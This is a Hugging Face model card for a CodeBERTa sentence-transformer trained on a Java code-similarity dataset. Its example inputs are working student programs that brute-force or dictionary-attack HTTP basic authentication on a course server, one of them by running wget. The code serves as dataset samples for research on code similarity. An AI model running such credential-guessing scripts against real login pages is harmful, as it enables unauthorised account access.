- "\n\n\nimport org.apache.commons.httpclient.HttpClient;\nimport org.apache.commons.httpclient.UsernamePasswordCredentials;\nimport org.apache.commons.httpclient.cookie.CookiePolicy;\nimport org.apache.commons.httpclient.methods.GetMethod;\n\n\n\n\npublic class BruteForce{\n\n static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(\"logonSite\");\n static final int LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"logonPort\")).intValue();\n\n static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"useProxyServer\")).intValue();\n static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"proxyPort\")).intValue();\n\n static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(\"proxyServer\");\n static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(\"proxyUserName\");\n static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(\"proxypassword\");\n\n static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(\"getMethod\");\n static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(\"numberOfGetsBeforeReleaseConnection\")).intValue();\n\n static final String[] cValidChars\t = {\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n\n public BruteForce() {\n super();\n }\n\n\n\n\n public static void main (String[] args) throws Exception {\n\n\t\tString\tstatusLine = \" \";\n\t\tint\t\tcount = 0;\n\t\tint\t\tfirstLetterIndex = 0;\n\t\tint\t\tsecondLetterIndex = 0;\n\t\tint\t\tthirdLetterIndex = 0;\n\t\tint\t\tdivValue = 0;\n\n\n\n\n\t\tString userName = \"\";\n\t\tString password = \"\";\n\n\n HttpClient client = new HttpClient();\n\n\t\t\n\n if (USE_PROXY_SERVER == 1) {\n \t\t\tclient.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT);\n \t\t\tclient.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD));\n\n }\n\n client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY);\n client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, \"http\");\n GetMethod getMethod = new GetMethod(GET_METHOD_HACKER);\n\n\n\t\t\n\n\t\tcount = 0;\n\n\t\tfor (int f = 0; f < 52; f++) {\n\n\t\t\tfirstLetterIndex = f;\n\n\t\t\tpassword = cValidChars[firstLetterIndex];\n\t\t\tSystem.out.println(\"Count: \"+ count + \" First Index: \"+ firstLetterIndex+ \" password: \"+ password);\n\n\t client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));\n\t client.executeMethod(getMethod);\n\t statusLine = getMethod.getStatusLine().toString();\n\n\n\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\t\t\t\tSystem.out.println(\"Found the user name and password for the site. The username is: \"+ userName+ \" and the password is: \"+ password);\n\t\t\t\tSystem.exit(0);\n\t\t\t}\n\t }\n\n\n\t\t\n\t\tcount = 0;\n\n\t\tfor (int g = 0; g < 52; g++) {\n\n\t\t\tfirstLetterIndex = g;\n\n\t\t\tfor (int h = 0; h < 52; h++) {\n\n\t\t\tsecondLetterIndex = h;\n\n\t\t\tpassword = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex];\n\n\t\t\t\tSystem.out.println(\"Count: \"+ count+ \" First Index: \"+ firstLetterIndex+ \" Second Index: \"+ secondLetterIndex+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ \" password: \"+ password);\n\n\t\t client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));\n\n\t\t\t\t++count;\n\n\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\n\t\t\t\tif (divValue == 0) {\n\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \" Div Value: \"+ divValue + \" Releasing the connection and getting new one\");\n\t\t\t\t\tgetMethod.releaseConnection();\n\t\t\t\t\tgetMethod = null;\n\t\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\n\t\t\t\t}\n\n\t\t client.executeMethod(getMethod);\n\n\t\t statusLine = getMethod.getStatusLine().toString();\n\t\t\t\tSystem.out.println(\"Found the user name and password for the site. The username is: \"+ userName+ \" and the password is: \"+ password);\n\n\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\t\t\t\t\tSystem.out.println(\"Found the user name and password for the site. The username is: \"+ userName+ \" and the password is: \"+ password);\n\n\t\t\t\t\tSystem.exit(0);\n\t\t\t\t}\n\t\t }\n\n\t\t}\n\n\t\t\n\t\t\n\n\t\tgetMethod.releaseConnection();\n\t\tgetMethod = null;\n\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\n\t\tcount = 0;\n\t\tfor (int i = 0; i < 52; i++) {\n\n\t\t\tfirstLetterIndex = i;\n\n\t\t\tfor (int j = 0; j < 52; j++) {\n\n\t\t\t\tsecondLetterIndex = j;\n\n\t\t\t\tfor (int k = 0; k < 52; k++) {\n\n\t\t\t\t\tthirdLetterIndex = k;\n\n\t\t\t\t\tpassword = cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex];\n\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \" First Index: \"+ firstLetterIndex+ \" Second Index: \"+ secondLetterIndex+ \" Third Index: \"+ thirdLetterIndex+ \" \"+ cValidChars[firstLetterIndex]+ cValidChars[secondLetterIndex]+ cValidChars[thirdLetterIndex]+ \" password: \"+ password);\n\n\t\t\t client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password));\n\n\t\t\t\t\t++count;\n\n\t\t\t\t\tdivValue = count % NUMBER_OF_GETS_BEFORE_RELEASE;\n\n\n\t\t\t\t\tif (divValue == 0) {\n\n\t\t\t\t\t\tSystem.out.println(\"Count: \"+ count+ \" Div Value: \"+ divValue+ \" Releasing the connection and getting new one\");\n\t\t\t\t\t\tgetMethod.releaseConnection();\n\t\t\t\t\t\tgetMethod = null;\n\t\t\t\t\t\tgetMethod = new GetMethod(GET_METHOD_HACKER);\n\n\t\t\t\t\t}\n\n\t\t\t client.executeMethod(getMethod);\n\t\t\t statusLine = getMethod.getStatusLine().toString();\n\n\t\t\t\t\tif (statusLine.compareTo(\"HTTP/1.1 200 OK\") == 0) {\n\t\t\t\t\t\tSystem.out.println(\"Found the user name and password for the site. The username is: \"+ userName+ \" and the password is: \"+ password);\n\t\t\t\t\t\tSystem.exit(0);\n\t\t\t\t\t}\n\t\t\t }\n\t\t\t}\n\t\t}\n }\n}\n"
- |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String[] args) {
new CrackAttempt();
}
}
class CrackAttempt {
public CrackAttempt() {
final int MAX_LENGTH = 3;
boolean auth = false;
Date = new Date();
String file = "/usr/share/lib/dict/words";
String word;
char[] password = new char[MAX_LENGTH];
String resource = "http://sec-crack.cs.rmit.edu./SEC/2/";
while (!auth) {
BufferedReader in = null;
try {
in = new BufferedReader(new FileReader(file));
while ((word = in.readLine()) != null && !auth) {
try {
if (word.length() <= MAX_LENGTH) {
password = word.toCharArray();
Authenticator.setDefault(new CrackAuth(password));
URL url = new URL(resource);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("HEAD");
if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
System.out.println("cracked with " + new String(password));
auth = true;
}
}
} catch (Exception e) {
System.out.println(" was exception: " + e.getMessage());
}
}
} catch (FileNotFoundException fnfe) {
System.out.println("File Not Found");
} catch (IOException ioe) {
System.out.println("IOException");
} catch(Exception e) {
e.printStackTrace();
} finally {
try {
in.close();
} catch (Exception e) {;}
}
}
if (!auth) {
System.out.println("Unable determine password");
} else {
time = (new Date()).getTime() - start.getTime();
System.out.println("it took " + String.valueOf(time) + " milliseconds crack the password");
}
}
}
class CrackAuth extends Authenticator {
char[] password;
public CrackAuth(char[] password) {
this.password = password;
}
protected PasswordAuthentication getPasswordAuthentication()
{
String user = "";
return new PasswordAuthentication(user, password);
}
}
- source_sentence: |
import java.net.*;
import java.io.*;
public class Base64Encoder
{
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
public static String encode (String string)
{
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length)
{
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length)
{
b2 = 0;
b3 = 0;
pad = 2;
}
else
{
b2 = bytes [i++];
if (i >= bytes.length)
{
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad)
{
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
sentences:
- "\nimport java.net.*; \nimport java.io.*; \npublic class BruteForce {\nprivate static String password=\" \"; \n\n \n public static void main(String[] args) {\n\t String Result=\"\"; \n\t if (args.length<1)\n\t\t\t {\n\t\t\t System.out.println(\"Error: Correct Format Filename, username e.g<>\"); \n\t\t\t\tSystem.exit(1);\t\n\t\t\t }\n\t\t\t BruteForce bruteForce1 = new BruteForce();\n\t\t\t Result=bruteForce1.Password(\"http://sec-crack.cs.rmit.edu./SEC/2/\",args[0]); \n\t\t\t System.out.println(\"The Password of \"+args[0]+\"is..\"+Result); \n\t\t\t \n\t\t }\n\n\n\n private String Password(String urlString,String username) \n { \n int cnt=0;\n \n t0 = System.currentTimeMillis(); \n for ( char ch = 'A'; ch <= 'z'; ch++ )\n { \n\t\t\t\t\t\t if (ch>'Z' && ch<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch='a'; \n\t\t\t\t\t\t } \n\t\t\t\t\n\t\t\t\tfor ( char ch1 = 'A'; ch1 <= 'z'; ch1++ )\n\t\t\t\t { \n\t\t\t\t\t \n\t\t\t\t\t\tif (ch1>'Z' && ch1<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch1='a'; \n\t\t\t\t\t\t }\n\n\n\t\t\t\t\t for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ )\n\t\t\t\t\t\t { \n\t\t\t\t\t\t\tif (ch2>'Z' && ch2<'a')\n\t\t\t\t\t\t { \n\t\t\t\t\t\t ch2='a'; \n\t\t\t\t\t\t }\n\t\t\t\t\t\t\tpassword=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2);\n\t\t\t\t\t\t\t\tSystem.out.print(\"crackin...:\"); \n\t\t\t\t\t \tSystem.out.print(\"\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\\b\" ); \n\t\t\t\t\t\ttry\n\t\t\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tURL url = new URL (urlString);\n\t\t\t\tString userPassword=username+\":\"+password; \n\n \n\t\t String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\t\t\t URLConnection conc= url.openConnection(); \n\t\t\t\t\t conc.setRequestProperty (\"Authorization\", \" \" + encoding);\t\t\t \n\t\t\t\t\t conc.connect(); \n\t\t\t\t\t\tcnt++;\n\t\t\t\t\t if (conc.getHeaderField(0).trim().equalsIgnoreCase(\"HTTP/1.1 200 OK\"))\n\t\t\t\t\t\t {\n\t\t\t\t\t\t\t t1 = System.currentTimeMillis(); \n\t\t\t\t\t\t\t net=t1-t0; \n\t\t\t\t\t\t\tSystem.out.println(\"The Number of Attempts \"+cnt); \n\t\t\t\t\t\t\tSystem.out.println(\"Total Time Taken in secs\"+net/1000); \n\t\t\t\t\t\t\treturn password; \n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\n\t\t \tcatch (Exception e )\n\t\t\t\t{\n\t\t\t\t e.printStackTrace(); \n\n\t\t\t\t}\n\n\t\t\t\n\t\t \n\t\t \n\t\t }\n\t\t \n\n\n\n \n \n\t } \n \n \n\t} \n return \"Password could not found\"; \n\n }\n\n\n}"
- "import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\",\n \t\t\t\t \"\",\n \t\t\t\t \"\"};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;\n\t\t\t\t if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println(\"Crrect password is: \" + inp[2]);\n\t\t\t\t\t System.out.println(\"Number of attempts = \" + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = \"\";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty (\"Authorization\",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return \" \" + base64Encode (username + \":\" + password);\n }\n\n private final static char pwdArray [] = {\n\t 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',\n\t 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',\n\t 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',\n\t 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',\n\t 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',\n\t 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',\n\t 'W', 'X', 'Y', 'Z', ' '\n };\n\n private final static char base64Array [] = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/'\n };\n\n private static String base64Encode (String string) {\n String encodedString = \"\";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += \"=\";\n break;\n case 2:\n encodedString += \"==\";\n break;\n }\n }\n return encodedString;\n }\n }\n\n"
- "\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println(\"Password is: \"+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = \"AAA\";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(\" attacking.....\");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = \"wget --http-user= --http-passwd=\"+passWord +\" http://sec-crack.cs.rmit.edu./SEC/2/index.php \";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith(\"Required\"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn \"not found\";\n\t}\n}"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on huggingface/CodeBERTa-small-v1
This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: huggingface/CodeBERTa-small-v1
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
- Training Dataset:
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-cmnrl-triplets-ep1-bs16-lr5e-05-split0.2")
# Run inference
sentences = [
'\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n public static String encode (String string)\n {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length)\n {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length)\n {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else\n {\n b2 = bytes [i++];\n if (i >= bytes.length)\n {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad)\n {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n}\n',
'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class BruteForce {\n\n URLConnection conn = null;\n private static boolean status = false;\n\n public static void main (String args[]){\n BruteForce a = new BruteForce();\n String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n \t\t\t\t "",\n \t\t\t\t ""};\n int attempts = 0;\n exit:\n for (int i=0;i<pwdArray.length;i++) {\n\t\t for (int j=0;j<pwdArray.length;j++) {\n\t\t\t for (int k=0;k<pwdArray.length;k++) {\n\t\t\t\t if (pwdArray[i] == \' \' && pwdArray[j] != \' \') continue;\n\t\t\t\t if (pwdArray[j] == \' \' && pwdArray[k] != \' \') continue;\n\t\t\t\t inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];\n\t\t\t\t attempts++;\n \t\t\t a.doit(inp);\n \n \t\t\t\t if (status) {\n\t\t\t\t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t\t\t System.out.println("Number of attempts = " + attempts);\n\t\t\t\t\t break exit;\n\t\t\t \t }\n \t\t\t inp[2] = "";\n\t\t \t }\n\t \t }\n }\n }\n\n public void doit(String args[]) {\n \n try {\n BufferedReader in = new BufferedReader(\n new InputStreamReader\n (connectURL(new URL(args[0]), args[1], args[2])));\n String line;\n while ((line = in.readLine()) != null) {\n System.out.println(line);\n status = true;\n }\n }\n catch (IOException e) {\n \n }\n }\n\n public InputStream connectURL (URL url, String uname, String pword)\n throws IOException {\n conn = url.openConnection();\n conn.setRequestProperty ("Authorization",\n userNamePasswordBase64(uname,pword));\n conn.connect ();\n return conn.getInputStream();\n }\n\n public String userNamePasswordBase64(String username, String password) {\n return " " + base64Encode (username + ":" + password);\n }\n\n private final static char pwdArray [] = {\n\t \'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\',\n\t \'i\', \'j\', \'k\', \'l\', \'m\', \'n\', \'o\', \'p\',\n\t \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\',\n\t \'y\', \'z\', \'A\', \'B\', \'C\', \'D\', \'E\', \'F\',\n\t \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\', \'N\',\n\t \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\',\n\t \'W\', \'X\', \'Y\', \'Z\', \' \'\n };\n\n private final static char base64Array [] = {\n \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n };\n\n private static String base64Encode (String string) {\n String encodedString = "";\n byte bytes [] = string.getBytes ();\n int i = 0;\n int pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n b3 = 0;\n pad = 2;\n }\n else {\n b2 = bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n pad = 1;\n }\n else\n b3 = bytes [i++];\n }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n encodedString += base64Array [c3];\n encodedString += base64Array [c4];\n break;\n case 1:\n encodedString += base64Array [c3];\n encodedString += "=";\n break;\n case 2:\n encodedString += "==";\n break;\n }\n }\n return encodedString;\n }\n }\n\n',
'\nimport java.io.*;\nimport java.awt.*;\nimport java.net.*;\n\npublic class BruteForce\n{\n\tpublic static void main (String[] args)\n\t{\n\t\tString pw = new String();\n\t\tpw = getPassword ();\n\t\tSystem.out.println("Password is: "+pw);\n\t}\n\tpublic static String getPassword()\n\t{\n\t\tString passWord = new String();\n\t\tpassWord = "AAA";\n\t\tchar[] guess = passWord.toCharArray();\n\t\tProcess pro = null;\n\t\tRuntime runtime = Runtime.getRuntime();\n\t\tBufferedReader in = null;\n\t\tString str=null;\n\t\tboolean found = true;\n\n\t\tSystem.out.println(" attacking.....");\n\t\tfor (int i=65;i<=122 ;i++ )\n\t\t{\n\t\t\tguess[0]=(char)(i);\n for (int j=65;j<=122 ;j++ )\n\t\t\t{\n\t\t\t\tguess[1]=(char)(j);\n for (int k=65 ;k<=122 ;k++ )\n\t\t\t\t{\n\t\t\t\t\tguess[2]=(char)(k);\n\t\t\t\t\tpassWord = new String(guess);\n\t\t\t\t\tString cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tpro = runtime.exec(cmd);\n\n\t\t\t\t\t\tin = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\t\t\t\t\t\tfound = true;\n\t\t\t\t\t\tif((str=in.readLine())!=null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ((str=in.readLine())!=null)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (found == true)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\treturn passWord;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcatch (Exception exception)\n\t\t\t\t\t{\n\t\t\t\t\t exception.getMessage();\n\t\t\t\t\t}\n\t\t\t\t\tif(k==90)\n\t\t\t\t\t\tk=96;\n\t\t\t\t\truntime.gc();\n\t\t\t\t}\n\t\t\t\tif(j==90)\n\t\t\t\t\tj=96;\n\t\t\t}\n\t\t\tif(i==90)\n\t\t\t\ti=96;\n\t\t}\n\t\treturn "not found";\n\t}\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8644, 0.1234],
# [0.8644, 1.0000, 0.0765],
# [0.1234, 0.0765, 1.0000]])
Training Details
Training Dataset
soco_train_java
- Dataset: soco_train_java at 44ca4ff
- Size: 34,368 training samples
- Columns:
anchor_code,positive_code, andnegative_code - Approximate statistics based on the first 1000 samples:
